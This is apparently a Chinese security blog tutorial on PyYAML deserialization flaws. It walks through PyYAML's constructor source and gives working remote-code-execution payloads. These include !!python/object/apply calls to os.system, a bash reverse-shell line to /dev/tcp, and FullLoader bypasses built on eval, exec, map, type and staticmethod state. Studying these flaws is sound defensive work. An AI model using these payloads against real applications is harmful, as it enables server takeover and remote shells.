LOADING

首次加载会比较慢,果咩~

请打开缓存,下次打开就会很快啦

PY-YAML反序列化

#什么是yaml?

  YAML是一种人类可读的数据序列化格式,经常用于配置文件和数据交换。它的设计目标是易于阅读和编写,并且能够被不同编程语言支持的解析器解析。
  在学习yaml反序列化漏洞之前,肯定要先学学它的基本语法,这里就不过多赘述了,可以看这个教程
  这里要重点注意一下类型转换这部分。漏洞利用用的到的一些yaml和python类型转换如下

YAML Python
!!python/name:module.name 尝试创建module.name这个Python对象
!!python/module:package.module 尝试导入package.module这个模块
!!python/object:module.cls 尝试创建module.cls这个类的实例
!!python/object/new:module.cls [args] 尝试创建module.cls的实例,并传入args的参数
!!python/object/apply:module.func [args] 尝试调用module.func,并传入args的参数

#漏洞成因

#!!python/object/new 和 !!python/object/apply的实现

  在constructor.py(也就是默认加载器)中,我们可以找到相应的实现函数

  • python/object/apply–>construct_python_object_apply
  • python/object/new–>construct_python_object_new
def construct_python_object_apply(self, suffix, node, newobj=False):
        # Format:
        #   !!python/object/apply       # (or !!python/object/new)
        #   args: [ ... arguments ... ]
        #   kwds: { ... keywords ... }
        #   state: ... state ...
        #   listitems: [ ... listitems ... ]
        #   dictitems: { ... dictitems ... }
        # or short format:
        #   !!python/object/apply [ ... arguments ... ]
        # The difference between !!python/object/apply and !!python/object/new
        # is how an object is created, check make_python_instance for details.
        if isinstance(node, SequenceNode):
            # 如果节点为序列类型,则初始化参数、关键字、状态、列表和字典为空
            args = self.construct_sequence(node, deep=True)
            kwds = {}
            state = {}
            listitems = []
            dictitems = {}
        else:
             # 如果节点为映射类型,则从值中提取参数、关键字、状态、列表和字典,其实就反应了该类标签所可以接受得参数类型。
            value = self.construct_mapping(node, deep=True)
            args = value.get('args', [])
            kwds = value.get('kwds', {})
            state = value.get('state', {})
            listitems = value.get('listitems', [])
            dictitems = value.get('dictitems', {})
        instance = self.make_python_instance(suffix, node, args, kwds, newobj)
        #如果存在创建 Python 对象实例
        if state:
            self.set_python_instance_state(instance, state)
        if listitems:
            instance.extend(listitems)
        if dictitems:
            for key in dictitems:
                instance[key] = dictitems[key]
        return instance

    def construct_python_object_new(self, suffix, node):
        return self.construct_python_object_apply(suffix, node, newobj=True)
        # 可以看到python/object/new和python/object/apply实质上差别并不大

  发现make_python_instance这个函数,跟进一下

def make_python_instance(self, suffix, node,
            args=None, kwds=None, newobj=False):
        if not args:
            args = []
        if not kwds:
            kwds = {}
        cls = self.find_python_name(suffix, node.start_mark)
        if newobj and isinstance(cls, type):
            return cls.__new__(cls, *args, **kwds)
        else:
            return cls(*args, **kwds)

  接着还得看看find_python_name这个函数

def find_python_name(self, name, mark):
        if not name:
            raise ConstructorError("while constructing a Python object", mark,
                    "expected non-empty name appended to the tag", mark)
        if '.' in name:
            module_name, object_name = name.rsplit('.', 1)
        else:
            module_name = 'builtins'
            object_name = name
        try:
            __import__(module_name)
        except ImportError as exc:
            raise ConstructorError("while constructing a Python object", mark,
                    "cannot find module %r (%s)" % (module_name, exc), mark)
        module = sys.modules[module_name]
        if not hasattr(module, object_name):
            raise ConstructorError("while constructing a Python object", mark,
                    "cannot find %r in the module %r"
                    % (object_name, module.__name__), mark)
        return getattr(module, object_name)

  总结一下,当我们执行yaml.load(‘!!python/object/apply:os.system [“whoami”]’)这串代码时,是这么个流程:

  • 调用construct_python_object_apply函数
  • 随之调用make_python_instance函数
  • 随之调用find_python_name函数
  • name存在并且有”.”,分开os和system,尝试导入os,将module设定为os,判定os是否存在system属性,存在,返回getattr(module, object_name)
  • getattr(module, object_name)也就是os.system函数,由于是!!python/object/apply调用所以newobj=Flase,则调用cls(*args, **kwds),即os.system(“whoami”)

#!!python/module的实现

  该标签对应的函数是construct_python_module

def construct_python_module(self, suffix, node):
        value = self.construct_scalar(node)
        if value:
            raise ConstructorError("while constructing a Python module", node.start_mark,
                    "expected the empty value, but found %r" % value, node.start_mark)
        return self.find_python_module(suffix, node.start_mark)

  跟进find_python_module函数

def find_python_module(self, name, mark):
        if not name:
            raise ConstructorError("while constructing a Python module", mark,
                    "expected non-empty name appended to the tag", mark)
        try:
            __import__(name)
        except ImportError as exc:
            raise ConstructorError("while constructing a Python module", mark,
                    "cannot find module %r (%s)" % (name, exc), mark)
        return sys.modules[name]

  可以发现这里并没有可以执行指令的地方,只是导入了指定的模块。但也存在利用价值,放到后文讨论

#!!python/name的实现

  该标签对应的函数时construct_python_name

def construct_python_name(self, suffix, node):
        value = self.construct_scalar(node)
        if value:
            raise ConstructorError("while constructing a Python name", node.start_mark,
                    "expected the empty value, but found %r" % value, node.start_mark)
        return self.find_python_name(suffix, node.start_mark)

  可见其调用了find_python_name,这个函数之前已经解释过了。最终是返回了module中的name。

#对于PyYAML模块版本<5.1的漏洞利用手法

yaml.load(data,Loader=) #加载单个YAML配置
yaml.load_all(data) # 加载多个YAML配置

  这些版本的加载器默认为Constructor,并不安全。

#!!python/object/new 和 !!python/object/apply的利用

yaml.load("""
!!python/object/apply:os.system
- whoami
""")
# 这样就可以达到调用os.system执行whoami命令。
yaml.load("""
!!python/object/apply:os.system
- bash -c "bash -i >& /dev/tcp/Target_IP/Target_Port 0>&1"
""")
# 这样就可以达到反弹shell的目的

#!!python/module的利用

  如果我们知道某个恶意python文件在服务器上的路径,或者能够上传这样的文件,那么我们就可以利用!!python/module将它以module的形式导入到当前文件
  例如:

# exp.py
import os
os.system('whoami')

那么yaml.load(‘!!python/module:upload.exp’)这段语句就可以间接做到rce的作用。

#!!python/name的利用

  首先给出一个例子:

import yaml
key= "114514"
b= yaml.load('!!python/name:__main__.key' )
if b == key:
    print("ikun")
else:
    print("you are not ikun")

  我们可以这样来绕过条件判断。当key未知或者不可预测时,也可以这样过条件判断。当然利用方法不止这些,应用总是灵活的。

#对于PyYAML模块版本>=5.1的漏洞利用手法

  在PyYaml>=5.1的版本中,find_python_name方法添加了unsafe=False导致我们不能直接通过__import__来引入模块。并且在PyYAML>=5.1版本中,将默认加载器调整为FullConstructor,加载的模块必须位于sys.modules中(说明程序已经 import 过了才让加载)才能够加载成功。
  如果没有对于加载器选择的过滤,可以直接变更加载器,然后和之前的操作一样:

yaml.unsafe_load(paylaod)
yaml.load(payload,Loader=UnsafeLoader)

  当然这基本没有可能性,所以还是另寻出路吧。
  Fullconstructor中的find_python_name函数:

def find_python_name(self, name, mark, unsafe=False):
        if not name:
            raise ConstructorError("while constructing a Python object", mark,
                    "expected non-empty name appended to the tag", mark)
        if '.' in name:
            module_name, object_name = name.rsplit('.', 1)
        else:
            module_name = 'builtins'
            object_name = name
        if unsafe:
            try:
                __import__(module_name)
            except ImportError as exc:
                raise ConstructorError("while constructing a Python object", mark,
                        "cannot find module %r (%s)" % (module_name, exc), mark)
        if module_name not in sys.modules:
            raise ConstructorError("while constructing a Python object", mark,
                    "module %r is not imported" % module_name, mark)
        module = sys.modules[module_name]
        if not hasattr(module, object_name):
            raise ConstructorError("while constructing a Python object", mark,
                    "cannot find %r in the module %r"
                    % (object_name, module.__name__), mark)
        return getattr(module, object_name)

  我们可以发现在unsafe为false的时候是无法导入新的模块的,但是我们可以利用builtins进行一些操作
  例子:

yaml.load("""
!!python/object/new:tuple
- !!python/object/new:map
  - !!python/name:eval
  - ["__import__('os').system('whoami')"] 
""")

  创建一个tuple对象,在这之中创建一个map对象,map的参数就是之后的!!python/name:eval[“import(‘os’).system(‘whoami’)”]
  这里使用tuple也是有其意义的,但是在这里解释有些冗长,详见文末参考~

#更高级的利用方法

  在construct_python_object_apply这个函数中,我们可以看到

if listitems:
   nstance.extend(listitems)

  我们可以新建一个type对象,将它的extend属性令为”!!python/name:exec”,再在加上一个listitems,就可以执行listitems中的命令了

payload = '''
!!python/object/new:type
args:
  - exp
  - !!python/tuple []
  - {"extend": !!python/name:exec }
listitems: "__import__('os').system('whoami')"
'''
yaml.load(payload)

  利用state也可以做到一种攻击,首先看看set_python_instance_state函数

def set_python_instance_state(self, instance, state, unsafe=False):
        if hasattr(instance, '__setstate__'):
            instance.__setstate__(state)
        else:
            slotstate = {}
            if isinstance(state, tuple) and len(state) == 2:
                state, slotstate = state
            if hasattr(instance, '__dict__'):
                if not unsafe and state:
                    for key in state.keys():
                        self.check_state_key(key)
                instance.__dict__.update(state)
            elif state:
                slotstate.update(state)
            for key, value in slotstate.items():
                if not unsafe:
                    self.check_state_key(key)
                setattr(instance, key, value)

  下面给出一个用例:

payload = """
- !!python/object/new:str
    args: []
    state: !!python/tuple
    - "__import__('os').system('whoami')"
    - !!python/object/new:staticmethod
      args: [0]
      state:
        update: !!python/name:exec
"""
yaml.load(payload)

  攻击流程如下:

  • 创建str对象并且不给参数,这主要是个套子的作用,是为了设定其state为!!python/tuple
  • 观察set_python_instance_state函数,
    if isinstance(state, tuple) and len(state) == 2:
                    state, slotstate = state
    
    在现在的情况下,state就是
    "__import__('os').system('whoami')"
    
    而slotstate就是
    !!python/object/new:staticmethod
      args: [0]
      state:
        update: !!python/name:exec
    
  • slotstate经过处理后,其update属性就成为了exec
  • 再执行slotstate.update(state),其实就是exec(state)

参考~🥰: